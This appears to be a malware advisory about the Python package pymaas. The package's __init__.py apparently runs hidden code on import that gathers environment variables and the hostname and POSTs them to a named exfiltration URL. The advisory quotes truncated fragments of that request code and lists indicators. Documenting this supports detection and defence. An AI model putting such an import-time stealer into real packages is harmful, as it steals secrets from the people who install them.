GCVE-110-OSM-2026-11629

During import, the package exfiltrates environment variables. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-09-amirgo4496 Reasons (based on the campaign): - exfiltration-env-variables - dependency-confusion - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. Judge assessment: This package is an environment-stealing implant: `src/pymaas/__init__.py` runs `_canary()` on import, collects `os.environ`, `socket.gethostname()`, package name/version, and POSTs them to `https://vuorblucjega.dssldrf.net/python-install-log/pymaas`. The attacker model is a dependency-confusion or typosquatting payload designed to harvest secrets from any machine that imports the package, with the `try/except` wrapper indicating deliberate stealth and failure suppression. The recovered IOC is plaintext and classified as custom C2/exfil, so this is not a false-positive network probe. The OSV MAL advisory also aligns with the code, but the verdict here rests on the directly visible exfiltration behavior. DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Python File Upload to Remote in src/pymaas/__init__.py: "urllib.request.Request( "https://vuorblucjega.dssldrf.net/python-install-log/pym..." - System Information Exfiltration in src/pymaas/__init__.py: "socket.gethostname(), "env": env_vars, }).encode() req = urllib.request.Request(..." - HTTP Data Exfiltration in src/pymaas/__init__.py: "socket.gethostname(), "env": env_vars, }).encode() req = urllib" - Network Request in src/pymaas/__init__.py: "Request( "https:" - System Information Collection in src/pymaas/__init__.py: "socket.gethostname()" PAYLOAD FILES src/pymaas/__init__.py